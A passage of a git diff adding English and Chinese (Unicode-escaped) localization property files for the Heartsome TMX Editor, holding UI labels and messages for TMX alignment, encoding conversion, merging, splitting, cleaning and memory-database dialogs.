file already contains the same target language. \n Please choose another target language. +dialog.ModifyLangCodeDialog.checkMsg3 = Modifying the language code will affect all translation units. This action cannot be undone. \n Are you sure you want to modify it? + +dialog.PairFileDialog.title=Align +dialog.PairFileDialog.srcGroupFile.lbl=Source file +dialog.PairFileDialog.srcGroup.File=File path: +dialog.PairFileDialog.srcGroup.brower=&Browse... +dialog.PairFileDialog.srcGroup.lang=Language: +dialog.PairFileDialog.tgtGroupFile.lbl=Target file +dialog.PairFileDialog.tgtGroup.File=File path: +dialog.PairFileDialog.tgtGroup.brower=B&rowse... +dialog.PairFileDialog.tgtGroup.lang=Language: +dialog.PairFileDialog.saveAsPath=TMX file path: +dialog.PairFileDialog.saveAsBrower=Bro&wse... +dialog.PairFileDialog.start.mechieTranslate=Use machine translation to improve matching accuracy +dialog.PairFileDialog.start=Click to enable +dialog.PairFileDialog.aready.start=Enabled +dialog.PairFileDialog.openTmx=Open TMX after alignment + +dialog.EncodingConverterDialog.title = Convert TMX Encoding +dialog.EncodingConverterDialog.srcFileMsg = Please select TMX file to be transcoded. +dialog.EncodingConverterDialog.srcEncodingMsg = Please specify the encoding of the source file. +dialog.EncodingConverterDialog.tgtFileMsg = Please specify a save path for the target TMX file after transcoding. +dialog.EncodingConverterDialog.tgtEncodingMsg = Please specify the encoding of the target TMX file. +dialog.EncodingConverterDialog.tgtFileExist = Target file already exists. Are you sure you want to overwrite it? +dialog.EncodingConverterDialog.convertTask = Converting... +dialog.EncodingConverterDialog.covnertFinish = Conversion has been completed. +dialog.EncodingConverterDialog.srcLabel = Source file: +dialog.EncodingConverterDialog.srcBrowseLabel = &Browse... +dialog.EncodingConverterDialog.srcEncodingLabel = Source file encoding: +dialog.EncodingConverterDialog.tgtFileLabel = Target file: +dialog.EncodingConverterDialog.tgtBrowseLabel = B&rowse... +dialog.EncodingConverterDialog.tgtEncodingLabel = Target file encoding: +dialog.EncodingConverterDialog.convertBtn = Con&vert +dialog.EncodingConverterDialog.closeBtn = &Cancel +dialog.EncodingConverterDialog.tgtSameSrcPathMsg = The source and destination file path cannot be the same. \n Please re-specify the destination file path. diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/resource/message_zh.properties b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/resource/message_zh.properties new file mode 100644 index 0000000..8ad50dc --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/resource/message_zh.properties @@ -0,0 +1,280 @@ +ui.all.dialog.info = \u63d0\u793a +ui.all.dialog.warning = \u8b66\u544a +ui.all.dialog.error = \u9519\u8bef +ui.all.dialog.ok = \u786e\u5b9a +ui.all.dialog.cancel = \u53d6\u6d88 +handler.OpenTmxFileHandler.openFileErrorMsg = \u6253\u5f00\u6587\u4ef6\u5931\u8d25\u3002 +handler.OpenTmxFileHandler.notUtf8 = \u9700\u8981\u5c06\u5f53\u524d\u6587\u4ef6\u7684\u7f16\u7801\u8f6c\u6362\u4e3a UTF-8 \u540e\u624d\u80fd\u7ee7\u7eed\u7f16\u8f91\uff0c\u662f\u5426\u73b0\u5728\u5c31\u8f6c\u6362\u7f16\u7801\uff1f +handler.OpenTmxFileHandler.cantFindEditorViewerMsg = \u7a0b\u5e8f\u672a\u80fd\u6b63\u786e\u5730\u521d\u59cb\u5316\u3002\u8bf7\u91cd\u65b0\u542f\u52a8\u6216\u91cd\u65b0\u5b89\u88c5\u7a0b\u5e8f\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 + +newTmx.NewTmxFileDialog.title = \u65b0\u5efa TMX +newtmx.NewTmxFileDialog.saveLCLbl = \u4fdd\u5b58\u8def\u5f84\uff1a +newtmx.NewTmxFileDialog.browseBtn = \u6d4f\u89c8(&B)... +newtmx.NewTmxFileDialog.langGroup = \u8bed\u8a00 +newtmx.NewTmxFileDialog.srcLang = \u6e90\u8bed\u8a00\uff1a +newtmx.NewTmxFileDialog.tgtLang = \u76ee\u6807\u8bed\u8a00\uff1a +newtmx.NewTmxFileDialog.tmxLocationNotNull = \u8bf7\u9009\u62e9 TMX \u6587\u4ef6\u7684\u4fdd\u5b58\u8def\u5f84\u3002 +newtmx.NewTmxFileDialog.notSelectSrcLang = \u8bf7\u9009\u62e9\u6e90\u8bed\u8a00\u3002 +newtmx.NewTmxFileDialog.notSelectTgtLang = \u8bf7\u9009\u62e9\u76ee\u6807\u8bed\u8a00\u3002 +newtmx.NewTmxFileDialog.srcLangEqualsTgtLang = \u6e90\u8bed\u8a00\u4e0e\u76ee\u6807\u8bed\u8a00\u4e0d\u80fd\u76f8\u540c\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 +newtmx.NewTmxFileDialog.tmxExsit = \u6587\u4ef6 {0} \u5df2\u7ecf\u5b58\u5728\uff0c\u786e\u5b9a\u8981\u8986\u76d6\u5417\uff1f +newtmx.NewTmxFileDialog.createSuccess = \ +newtmx.NewTmxFileDialog.createFail = TMX \u521b\u5efa\u5931\u8d25\uff0c\u8bf7\u67e5\u770b\u9519\u8bef\u65e5\u5fd7\u3002 +newtmx.NewTmxFileDialog.permissionDeny = \u65e0\u6cd5\u521b\u5efa TMX \u6587\u4ef6\uff1a\u76ee\u6807\u8def\u5f84\u6ca1\u6709\u5199\u5165\u6743\u9650\u3002\n\u8bf7\u91cd\u65b0\u9009\u62e9\u4fdd\u5b58\u8def\u5f84\u3002 + +dialog.TmDbManagerDialog.title = \u8bb0\u5fc6\u5e93\u7ba1\u7406 +dialog.TmDbManagerDialog.parameterGroup = \u6570\u636e\u5e93\u4fe1\u606f +dialog.TmDbManagerDialog.lblHost = \u5730\u5740\uff1a +dialog.TmDbManagerDialog.lblPort = \u7aef\u53e3\uff1a +dialog.TmDbManagerDialog.lblInstance = \u5b9e\u4f8b\uff1a +dialog.TmDbManagerDialog.lblLocation = \u8def\u5f84\uff1a +dialog.TmDbManagerDialog.borwserBtn = \u6d4f\u89c8(&B)... +dialog.TmDbManagerDialog.lblUsername = \u7528\u6237\u540d\uff1a +dialog.TmDbManagerDialog.lblPwd = \u5bc6\u7801\uff1a +dialog.TmDbManagerDialog.searchBtn = \u641c\u7d22(&S) +dialog.TmDbManagerDialog.msgTitle = \u63d0\u793a +dialog.TmDbManagerDialog.msg1 = \u65e0\u6cd5\u8fde\u63a5\u5230\u6307\u5b9a\u7684\u6570\u636e\u5e93\uff0c\u8bf7\u786e\u8ba4\u586b\u5199\u4e86\u6b63\u786e\u7684\u6570\u636e\u5e93\u4fe1\u606f\u3001\u4e14\u8be5\u6570\u636e\u5e93\u670d\u52a1\u5668\u53ef\u6b63\u5e38\u8bbf\u95ee\u3002 +dialog.TmDbManagerDialog.tableComposite = \u8bb0\u5fc6\u5e93\u5217\u8868 +dialog.TmDbManagerDialog.btnc = \u521b\u5efa(&C) +dialog.TmDbManagerDialog.btnd_1 = \u5220\u9664(&D) +dialog.TmDbManagerDialog.msg2 = \u5220\u9664\u8be5\u8bb0\u5fc6\u5e93\u540e\u5c06\u65e0\u6cd5\u6062\u590d\u6570\u636e\uff0c\u662f\u5426\u7ee7\u7eed\uff1f +dialog.TmDbManagerDialog.logger1 = [LOG] \u5220\u9664\u8bb0\u5fc6\u5e93\u5931\u8d25 +dialog.TmDbManagerDialog.msg3 = \u5220\u9664\u8bb0\u5fc6\u5e93\u65f6\u51fa\u9519\u3002\n\u8bf7\u91cd\u65b0\u8fd0\u884c\u8f6f\u4ef6\u6216\u91cd\u542f\u6570\u636e\u5e93\uff0c\u7136\u540e\u91cd\u8bd5\u3002\n\u82e5\u4ecd\u672a\u89e3\u51b3\u95ee\u9898\uff0c\u8bf7\u8054\u7cfb Heartsome \u7684\u6280\u672f\u652f\u6301\u4eba\u5458\uff0c\u5e76\u63d0\u4f9b\u5982\u4e0b\u4fe1\u606f\uff1a +dialog.TmDbManagerDialog.importBtn = \u5bfc\u5165 TMX(&I) +dialog.TmDbManagerDialog.msg4 = \u8bf7\u9009\u62e9\u8bb0\u5fc6\u5e93\u3002 +dialog.TmDbManagerDialog.deleteAction = \u79fb\u9664 +dialog.TmDbManagerDialog.clmnTitles1 = \u5e8f\u53f7 +dialog.TmDbManagerDialog.clmnTitles2 = \u540d\u79f0 +dialog.TmDbManagerDialog.clmnTitles3 = \u8bed\u8a00 +dialog.TmDbManagerDialog.msg5 = \u8bf7\u8bbe\u7f6e Internal DB \u8bb0\u5fc6\u5e93\u7684\u4fdd\u5b58\u8def\u5f84\u3002 +dialog.TmDbManagerDialog.msg6 = \u8bf7\u8f93\u5165\u6570\u636e\u5e93\u670d\u52a1\u5668\u7684\u5730\u5740\u3002 +dialog.TmDbManagerDialog.msg7 = \u8bf7\u8f93\u5165\u6570\u636e\u5e93\u670d\u52a1\u5668\u7684\u7aef\u53e3\u3002 +dialog.TmDbManagerDialog.msg8 = \u8bf7\u8f93\u5165\u6570\u636e\u5e93\u670d\u52a1\u5668\u7684\u7528\u6237\u540d\u3002 +dialog.TmDbManagerDialog.msg9 = \u8bf7\u8f93\u5165\u6570\u636e\u5e93\u670d\u52a1\u5668\u7684\u5b9e\u4f8b\u3002 +dialog.TmDbManagerDialog.msg10 = \u8be5\u8bb0\u5fc6\u5e93\u4e2d\u6ca1\u6709\u6587\u672c\u6bb5\u3002 +dialog.TmDbManagerDialog.inputDbNameialogTitle = \u521b\u5efa\u8bb0\u5fc6\u5e93 +dialog.TmDbManagerDialog.inputDbNameialogMsg = \u8bb0\u5fc6\u5e93\u540d\u79f0\uff1a + +tmxproperties.dialog.dialogTitile = \u5c5e\u6027 +tmxproperties.dialog.resourceTitle = \ +tmxproperties.dialog.version = TMX \u7248\u672c\uff1a +tmxproperties.dialog.location = \u6587\u4ef6\u8def\u5f84\uff1a +tmxproperties.dialog.size = \u6587\u4ef6\u5927\u5c0f\uff1a +tmxproperties.dialog.createuser = \u521b\u5efa\u8005\uff1a +tmxproperties.dialog.createtime = \u521b\u5efa\u65f6\u95f4\uff1a +tmxproperties.dialog.createtool = \u521b\u5efa\u5de5\u5177\uff1a +tmxproperties.dialog.createversion = \u521b\u5efa\u5de5\u5177\u7248\u672c\uff1a +tmxproperties.dialog.conuttu = \u7ffb\u8bd1\u5355\u5143\u6570\u91cf\uff1a +tmxproperties.dialog.sourcelang = \u6e90\u8bed\u8a00\uff1a +tmxproperties.dialog.targetlang = \u76ee\u6807\u8bed\u8a00\uff1a +dialog.TmxValidatorDialog.label.tmxtitle = \u4fee\u590d TMX \u6587\u4ef6 +dialog.TmxValidatorDialog.label.tmxfile = TMX \u6587\u4ef6\uff1a +dialog.TmxValidatorDialog.label.browse = \u6d4f\u89c8(&B)... +dialog.TmxValidatorDialog.label.verify = \u68c0\u67e5\u5e76\u4fee\u590d(&R) +dialog.TmxValidatorDialog.label.clean = \u6e05\u9664\u65e0\u6548\u5b57\u7b26 +dialog.TmxValidatorDialog.label.close = \u53d6\u6d88(&C) +dialog.TmxValidatorDialog.label.tmxex = TMX \u6587\u4ef6 (*.tmx) +dialog.TmxValidatorDialog.label.allex = \u6240\u6709\u6587\u4ef6 (*.*) +dialog.TmxValidatorDialog.info.cleaning = \u6b63\u5728\u6e05\u7406... +dialog.TmxValidatorDialog.info.error = \u6e05\u7406 {0} \u65f6\u51fa\u73b0\u672a\u77e5\u7684\u9519\u8bef +dialog.TmxValidatorDialog.info.cleandone = \u6587\u4ef6\u5df2\u6e05\u7406\u5b8c\u6210\u3002 + +dialog.TmxConvert2FileDialog.title=\u5c06 TMX \u6587\u4ef6\u8f6c\u6362\u4e3a\u6307\u5b9a\u683c\u5f0f +dialog.TmxConvert2FileDialog.waitlist=\u5f85\u8f6c\u6362\u7684 TMX \u6587\u4ef6 +dialog.TmxConvert2FileDialog.add=\u6dfb\u52a0(&A)... +dialog.TmxConvert2FileDialog.remove=\u79fb\u9664(&R) +dialog.TmxConvert2FileDialog.convertto=\u8f6c\u6362\u4e3a\uff1a +dialog.TmxConvert2FileDialog.needproperty=\u5305\u542b\u7ffb\u8bd1\u5355\u5143\u5c5e\u6027\uff08\u4ec5\u9650 *.hstm\uff09 +dialog.TmxConvert2FileDialog.toothertype=\u8f6c\u6362\u4e3a\u4e00\u4e2a\u6587\u4ef6 +dialog.TmxConvert2FileDialog.path=\u4fdd\u5b58\u5230 +dialog.TmxConvert2FileDialog.srcpath=\u539f TMX \u6587\u4ef6\u6240\u5728\u76ee\u5f55 +dialog.TmxConvert2FileDialog.saveaspath=\u6307\u5b9a\u8def\u5f84 +dialog.TmxConvert2FileDialog.browser=\u6d4f\u89c8(&B)... +dialog.TmxConvert2FileDialog.fileType.docx=Microsoft Word \u6587\u6863(*.docx) +dialog.TmxConvert2FileDialog.fileType.csv=\u4ee5 Tab \u5206\u9694\u7684\u6587\u672c\u6587\u4ef6(*.csv) +dialog.TmxConvert2FileDialog.fileType.xlsx=Microsoft Excel \u5de5\u4f5c\u7c3f(*.xlsx) +dialog.TmxConvert2FileDialog.fileType.txt=\u6587\u672c\u6587\u4ef6(*.txt) +dialog.TmxConvert2FileDialog.fileType.tbx=\u672f\u8bed\u5e93\u4ea4\u6362\u6587\u4ef6(*.tbx) +dialog.TmxConvert2FileDialog.fileType.hstm=Heartsome \u6587\u4ef6\u578b\u8bb0\u5fc6\u5e93(*.hstm) +dialog.TmxConvert2FileDialog.notutf8msg=\u9700\u8981\u5148\u5c06\u6587\u4ef6 {0} \u7684\u7f16\u7801\u8f6c\u6362\u4e3a UTF-8\uff0c\u7136\u540e\u624d\u80fd\u7ee7\u7eed\u5c06\u5176\u8f6c\u6362\u4e3a\u6307\u5b9a\u683c\u5f0f\u3002\u662f\u5426\u7ee7\u7eed\u8f6c\u6362\uff1f\ +dialog.TmxConvert2FileDialog.sourceFileNotexist=\u6e90\u6587\u4ef6 {0} \u4e0d\u5b58\u5728\u6216\u8005\u6ca1\u6709\u8bfb\u53d6\u6743\u9650\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u6e90\u6587\u4ef6\u3002 +dialog.TmxConvert2FileDialog.targetFileNotexist=\u76ee\u6807\u6587\u4ef6 {0} \u4e0d\u5b58\u5728\u6216\u8005\u6ca1\u6709\u5199\u5165\u6743\u9650\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u4fdd\u5b58\u8def\u5f84\u3002 +dialog.TmxConvert2FileDialog.overwriteFile=\u5982\u4e0b\u76ee\u6807\u6587\u4ef6\u5df2\u5b58\u5728\uff1a\n{0}\n\u786e\u5b9a\u8981\u5168\u90e8\u8986\u76d6\u5417\uff1f + +dialog.TmxConvert2FileDialog.convert.task.msg1=\u5f00\u59cb\u8f6c\u6362 +dialog.TmxConvert2FileDialog.convert.task.msg2=\u6b63\u5728\u8f6c\u6362\u6587\u4ef6 {0}... +dialog.TmxConvert2FileDialog.convert.task.error=\u8f6c\u6362\u201c{0}" \u6587\u4ef6\u65f6\u51fa\u73b0\u5982\u4e0b\u9519\u8bef\uff1a\n{1} + + +dialog.Convert2TmxDialog.title=\u5c06\u6307\u5b9a\u683c\u5f0f\u7684\u6587\u4ef6\u8f6c\u6362\u4e3a TMX +dialog.Convert2TmxDialog.srcLable=\u6e90\u6587\u4ef6\uff1a +dialog.Convert2TmxDialog.browserSrcFileBtn=\u6d4f\u89c8(&B)... +dialog.Convert2TmxDialog.langGroup=\u8bed\u8a00 +dialog.Convert2TmxDialog.srcLangLable=\u6e90\u8bed\u8a00 +dialog.Convert2TmxDialog.targetLable=\u76ee\u6807\u8bed\u8a00 +dialog.Convert2TmxDialog.addCustomAttributeBtn=\u6dfb\u52a0\u81ea\u5b9a\u4e49\u5c5e\u6027 +dialog.Convert2TmxDialog.customAttributeGroup=\u5c5e\u6027\u5217\u8868 +dialog.Convert2TmxDialog.conver2NewTmxBtn=\u521b\u5efa\u65b0\u7684 TMX \u6587\u4ef6\uff1a +dialog.Convert2TmxDialog.browserNewTmxPathBtn=\u6d4f\u89c8(&R)... +dialog.Convert2TmxDialog.appendExistTmxPathBtn=\u8ffd\u52a0\u5230\u5df2\u6709\u7684 TMX\uff1a +dialog.Convert2TmxDialog.browserExistTmxPathBtn=\u6d4f\u89c8(&R)... +dialog.Convert2TmxDialog.isOpenBtn=\u8f6c\u6362\u5b8c\u6210\u540e\u81ea\u52a8\u6253\u5f00 TMX +dialog.Convert2TmxDialog.converter.common.appendtmx.wrongTmx = \u5f85\u8ffd\u52a0\u6587\u4ef6\u4e0d\u662f\u6709\u6548\u7684 TMX \u6587\u4ef6\uff0c\u65e0\u6cd5\u8ffd\u52a0\u3002\u8bf7\u9009\u62e9\u53e6\u4e00\u4e2a\u8981\u8ffd\u52a0\u7684 TMX \u6587\u4ef6\u6216\u4f7f\u7528\u201c\u521b\u5efa\u65b0\u7684 TMX \u6587\u4ef6\u201d\u65b9\u5f0f\u3002 +dialog.Convert2TmxDialog.sourceFileFormatHelp=\u67e5\u770b\u6e90\u6587\u4ef6\u683c\u5f0f\u8303\u4f8b + +dialog.Convert2TmxDialog.convert.task.msg1=\u5f00\u59cb\u8f6c\u6362 +dialog.Convert2TmxDialog.convert.task.error=\u8f6c\u6362\u6587\u4ef6\u65f6\u51fa\u73b0\u5982\u4e0b\u9519\u8bef\uff1a\n{0} +dialog.Convert2TmxDialog.taskFinished=\u5df2\u6210\u529f\u5c06\u6307\u5b9a\u6587\u4ef6\u8f6c\u6362\u4e3a TMX\u3002 + +dialog.BatchJobsDialog.title=\u6e05\u7406 TM +dialog.BatchJobsDialog.bacthJobSelection=\u5220\u9664\u5982\u4e0b\u5185\u5bb9 +dialog.BatchJobsDialog.deleteEmpty=\u672a\u7ffb\u8bd1\u7684\u6587\u672c\u6bb5 +dialog.BatchJobsDialog.deleteDuplicate=\u91cd\u590d\u6587\u672c\u6bb5\uff08\u4fdd\u7559\u6700\u65b0\u7684\u884c\uff09 +dialog.BatchJobsDialog.deleteSameSrcDiffTgt=\u6e90\u6587\u76f8\u540c\u3001\u8bd1\u6587\u4e0d\u540c\u7684\u6587\u672c\u6bb5\uff08\u4fdd\u7559\u6700\u65b0\u7684\u884c\uff09 +dialog.BatchJobsDialog.trimSegment=\u6bb5\u9996/\u6bb5\u672b\u7a7a\u683c +dialog.BatchJobsDialog.ingoreSelection=\u9009\u9879 +dialog.BatchJobsDialog.ingoreTag=\u5ffd\u7565\u6807\u8bb0 +dialog.BatchJobsDialog.ignoreCase=\u5ffd\u7565\u5927\u5c0f\u5199 + +# \u4e0b\u5217\u4e03\u4e2a\u503c\u4e3a\u7cfb\u7edf\u754c\u9762\u4e0a\u6309\u5468\u68c0\u67e5\u66f4\u65b0\u65f6\u4e0b\u62c9\u6846\u4e2d\u663e\u793a\u7684\u503c +preferencepage.SystemPreferencePage.Mon = \u4e00 +preferencepage.SystemPreferencePage.Tue = \u4e8c +preferencepage.SystemPreferencePage.Wed = \u4e09 +preferencepage.SystemPreferencePage.Thu = \u56db +preferencepage.SystemPreferencePage.Fri = \u4e94 +preferencepage.SystemPreferencePage.Sat = \u516d +preferencepage.SystemPreferencePage.Sun = \u65e5 +preferencepage.SystemPreferencePage.groupCommon = \u81ea\u52a8\u66f4\u65b0 +preferencepage.SystemPreferencePage.imageLabel1 = \u5b9a\u671f\u81ea\u52a8\u68c0\u67e5\u672c\u8f6f\u4ef6\u662f\u5426\u6709\u66f4\u65b0\uff1a +preferencepage.SystemPreferencePage.btnCheckUpdateWithStartup = \u542f\u52a8\u65f6 +preferencepage.SystemPreferencePage.btnCheckUpdateWithMonthly1 = \u6bcf\u6708 +preferencepage.SystemPreferencePage.btnCheckUpdateWithMonthly2 = \u53f7 +preferencepage.SystemPreferencePage.btnCheckUpdateWithWeekly1 = \u6bcf\u5468 +preferencepage.SystemPreferencePage.btnCheckUpdateWithWeekly2 = \ +preferencepage.SystemPreferencePage.btnCheckUpdateWithNever = \u4ece\u4e0d +preferencepage.SystemPreferencePage.groupLanguage = \u754c\u9762\u8bed\u8a00 +preferencepage.SystemPreferencePage.imageLabel3 = \u6539\u53d8\u754c\u9762\u8bed\u8a00\u540e\uff0c\u9700\u8981\u91cd\u542f\u8f6f\u4ef6\u624d\u80fd\u751f\u6548\uff1a +preferencepage.SystemPreferencePage.btnLanguageWithEN = \u82f1\u6587 +preferencepage.SystemPreferencePage.btnLanguageWithZHCN = \u7b80\u4f53\u4e2d\u6587 +preferencepage.SystemPreferencePage.groupSystemUser = \u7528\u6237\u540d +preferencepage.SystemPreferencePage.imageLabel4 = \u5728\u7f16\u8f91\u8bb0\u5fc6\u5e93\u6216 TMX \u6587\u4ef6\u65f6\uff0c\u4f7f\u7528\u8be5\u7528\u6237\u540d\u4f5c\u4e3a\u7ffb\u8bd1\u5355\u5143\u7684\u521b\u5efa\u8005/\u4fee\u6539\u8005\uff1a +preferencepage.SystemPreferencePage.lblUser = \u7528\u6237\u540d\uff1a +preferencepage.SystemPreferencePage.msgTitle = \u63d0\u793a +preferencepage.SystemPreferencePage.msgInfo = \u60a8\u5df2\u7ecf\u4fee\u6539\u4e86\u754c\u9762\u8bed\u8a00\uff0c\u8be5\u8bbe\u7f6e\u9700\u8981\u91cd\u65b0\u542f\u52a8\u8f6f\u4ef6\u540e\u624d\u4f1a\u751f\u6548\u3002\u662f\u5426\u91cd\u542f\uff1f +preferencepage.KeysPreferencePage.groupParent = \u5feb\u6377\u952e +preferencepage.KeysPreferencePage.imageLabel = \u8981\u81ea\u5b9a\u4e49\u67d0\u4e2a\u529f\u80fd\u7684\u5feb\u6377\u952e\uff0c\u8bf7\u5355\u51fb\u8be5\u529f\u80fd\u7684\u201c\u5feb\u6377\u952e\u201d\u5355\u5143\u683c\u8fdb\u5165\u7f16\u8f91\u72b6\u6001\uff0c\u7136\u540e\u6309\u4e0b\u6240\u9700\u7684\u5feb\u6377\u952e\u7ec4\u5408\uff0c\u70b9\u51fb\u5176\u4ed6\u5730\u65b9\u9000\u51fa\u7f16\u8f91\u72b6\u6001\u5373\u53ef\u3002\u82e5\u8be5\u5feb\u6377\u952e\u7ec4\u5408\u5df2\u88ab\u5176\u4ed6\u529f\u80fd\u4f7f\u7528\uff0c\u5219\u8be5\u884c\u4f1a\u663e\u793a\u4e3a\u7ea2\u8272\u3002 +preferencepage.KeysPreferencePage.toolCategory = \u5de5\u5177 +preferencepage.KeysPreferencePage.toolbarCategory = \u5de5\u5177\u680f +preferencepage.KeysPreferencePage.helpCategory = \u5e2e\u52a9 +preferencepage.KeysPreferencePage.commandNameColumn = \u529f\u80fd +preferencepage.KeysPreferencePage.triggerSequenceColumn = \u5feb\u6377\u952e +preferencepage.KeysPreferencePage.categoryColumn = \u7c7b\u522b +preferencepage.KeysPreferencePage.msgTitle = \u63d0\u793a +preferencepage.KeysPreferencePage.msg = \u5feb\u6377\u952e\u7684\u8bbe\u7f6e\u5b58\u5728\u51b2\u7a81\uff0c\u8bf7\u4fee\u6539\u7ea2\u8272\u80cc\u666f\u7684\u529f\u80fd\u5feb\u6377\u952e\u7ec4\u5408\u3002 + +preferencepage.SystemPreferencePage.groupFont = \u5b57\u4f53 +preferencepage.SystemPreferencePage.groupFont.desc = \u8bbe\u7f6e TMX \u7f16\u8f91\u5668\u7684\u5b57\u4f53\u548c\u5b57\u53f7\uff1a + +preferencepage.fontsetting.editor.title = \u7f16\u8f91\u5668\u5b57\u4f53 +preferencepage.fontsetting.matchView.title = \ + +dialog.AboutDialog.title = \u5173\u4e8e Heartsome TMX Editor +dialog.AboutDialog.lblVersion = Heartsome TMX Editor +dialog.AboutDialog.lblVersion2 = \u7248\u672c\uff1a{0} Build {1} +dialog.AboutDialog.lblProduct = \u4ea7\u54c1\u4e3b\u9875\uff1a +dialog.AboutDialog.lblSupport = \u6280\u672f\u652f\u6301\uff1a +dialog.AboutDialog.productLink = http://www.heartsome.net +dialog.AboutDialog.supportLink = http://www.heartsome.net/CN/support.html +dialog.AboutDialog.lblCopyRight = \u7248\u6743\u6240\u6709 (C) 2013 \u701a\u7279\u76db\u79d1\u6280\u6709\u9650\u516c\u53f8 \u4fdd\u7559\u6240\u6709\u6743\u5229 +dialog.AboutDialog.lblWarn = \u8b66\u544a\uff1a\u672c\u8ba1\u7b97\u673a\u7a0b\u5e8f\u53d7\u7248\u6743\u6cd5\u548c\u56fd\u9645\u6761\u7ea6\u4fdd\u62a4\u3002\n\u672a\u7ecf\u6388\u6743\u800c\u64c5\u81ea\u66f4\u6539\u6216\u5206\u53d1\u8be5\u7a0b\u5e8f\u6216\u5176\u4e2d\u7684\u4efb\u4f55\u90e8\u5206\uff0c\u4f1a\u5bfc\u81f4\u4e25\u5389\u7684\u6c11\u4e8b\u548c\u5211\u4e8b\u5904\u7f5a\uff0c\u5e76\u5c06\u5728\u6cd5\u5f8b\u5141\u8bb8\u7684\u6700\u5927\u8303\u56f4\u5185\u88ab\u8d77\u8bc9\u3002 +dialog.AboutDialog.msgTitle = \u63d0\u793a +dialog.AboutDialog.msg = \u83b7\u53d6\u7248\u672c\u4fe1\u606f\u6709\u8bef\uff0c\u8f6f\u4ef6\u5373\u5c06\u9000\u51fa\u3002\n\u8bf7\u91cd\u65b0\u5b89\u88c5 Heartsome TMX Editor\u3002 + +dialog.MergeTmxDilog.mergeTmx.title=\u5408\u5e76 TMX +dialog.MergeTmxDilog.tmxFile=\u5f85\u5408\u5e76\u7684 TMX \u6587\u4ef6 +dialog.MergeTmxDilog.header.name1=\u5e8f\u53f7 +dialog.MergeTmxDilog.header.name2=\u6587\u4ef6\u8def\u5f84 +dialog.MergeTmxDilog.addTmxFile=\u6dfb\u52a0(&A)... +dialog.MergeTmxDilog.deleteTmxFile=\u5220\u9664(&R) +dialog.MergeTmxDilog.saveTo=\u4fdd\u5b58\u5230\uff1a +dialog.MergeTmxDilog.brower=\u6d4f\u89c8(&B)... +dialog.MergeTmxDilog.mergeTmx.taskName=\u5408\u5e76 TMX... +dialog.MergeTmxDilog.merge.info.msg=\u5f85\u5408\u5e76\u6587\u4ef6 {0} \u4e0d\u5b58\u5728\uff0c\u65e0\u6cd5\u5408\u5e76\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u5f85\u5408\u5e76\u7684 TMX \u6587\u4ef6\u3002 +dialog.MergeTmxDilog.merge.fileNull.msg=\u5f85\u5408\u5e76\u6587\u4ef6 {0} \u4e3a\u7a7a\uff0c\u65e0\u6cd5\u5408\u5e76\u3002\n\u8bf7\u91cd\u65b0\u9009\u62e9\u5f85\u5408\u5e76\u7684 TMX \u6587\u4ef6\u3002 +dialog.MergeTmxDilog.merge.config.msg=\u6587\u4ef6 {0} \u5df2\u5b58\u5728\uff0c\u786e\u5b9a\u8981\u8986\u76d6\u5417\uff1f +dialog.MergeTmxDilog.merge.parseError = \u89e3\u6790 TMX \u6587\u4ef6 {0} \u5931\u8d25\uff0c\u65e0\u6cd5\u5408\u5e76\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u5408\u6cd5\u7684\u5f85\u5408\u5e76 TMX \u6587\u4ef6\u3002 + +te.ui.splitTmx.taskName=\u5206\u5272 TMX... +te.ui.splitTmx.warn.msg=\u89e3\u6790 TMX \u6587\u4ef6 {0} \u5931\u8d25\uff0c\u65e0\u6cd5\u5206\u5272\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u5408\u6cd5\u7684\u5f85\u5206\u5272 TMX \u6587\u4ef6\u3002 + +dialog.SplitTmxDiialog.title=\u5206\u5272 TMX +dialog.SplitTmxDiialog.groupTitle=\u5206\u5272\u65b9\u5f0f +dialog.SplitTmxDiialog.group.avgSplit=\u5e73\u5747\u5206\u5272\u4e3a\uff1a +dialog.SplitTmxDiialog.group.subFile=\u4e2a\u66f4\u5c0f\u7684 TMX \u6587\u4ef6 +dialog.SplitTmxDiialog.spliteFile=\u5f85\u5206\u5272\u6587\u4ef6\uff1a +dialog.SplitTmxDiialog.brower=\u6d4f\u89c8(&B) +dialog.SplitTmxDiialog.savePath=\u4fdd\u5b58\u8def\u5f84 +dialog.SplitTmxDiialog.originalPath=\u5f85\u5206\u5272\u7684 TMX \u6587\u4ef6\u6240\u5728\u76ee\u5f55 +dialog.SplitTmxDiialog.saveAsPath=\u6307\u5b9a\u8def\u5f84\uff1a +dialog.SplitTmxDiialog.split.info.msg=\u5f85\u5206\u5272\u6587\u4ef6 {0} \u4e0d\u5b58\u5728\uff0c\u65e0\u6cd5\u5206\u5272\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u5f85\u5206\u5272\u7684 TMX \u6587\u4ef6\u3002 + +te.ui.cleanTagsHandler.warn.msg=\u8b66\u544a +te.ui.cleanTagsHandler.warn.desc=\u5373\u5c06\u5220\u9664\u6240\u6709\u5185\u90e8\u6807\u8bb0\uff0c\u4e14\u8be5\u64cd\u4f5c\u65e0\u6cd5\u6062\u590d\u3002\u786e\u5b9a\u8981\u7ee7\u7eed\u5417\uff1f + +te.ui.deleteBatchJobsHandler.warn.msg=\u8b66\u544a +te.ui.deleteBatchJobsHandler.warn.desc=\u5373\u5c06\u6267\u884c\u5df2\u9009\u62e9\u7684\u6e05\u7406\u64cd\u4f5c\uff0c\u4e14\u8be5\u64cd\u4f5c\u65e0\u6cd5\u6062\u590d\u3002\u786e\u5b9a\u8981\u7ee7\u7eed\u5417\uff1f +te.ui.deleteBatchJobsHandler.begin.task.name=\u5f00\u59cb\u6e05\u7406 + +te.ui.deleteLangHandler.error.deleteAllTgtMsg=\u8bf7\u4fdd\u7559\u81f3\u5c11\u4e00\u4e2a\u76ee\u6807\u8bed\u8a00\u3002 +te.ui.deleteLangHandler.error.desc=\u5f53\u524d\u6587\u4ef6\u53ea\u5305\u542b\u4e00\u4e2a\u8bed\u8a00\u5bf9\uff0c\u65e0\u6cd5\u5220\u9664\u8bed\u8a00\u3002 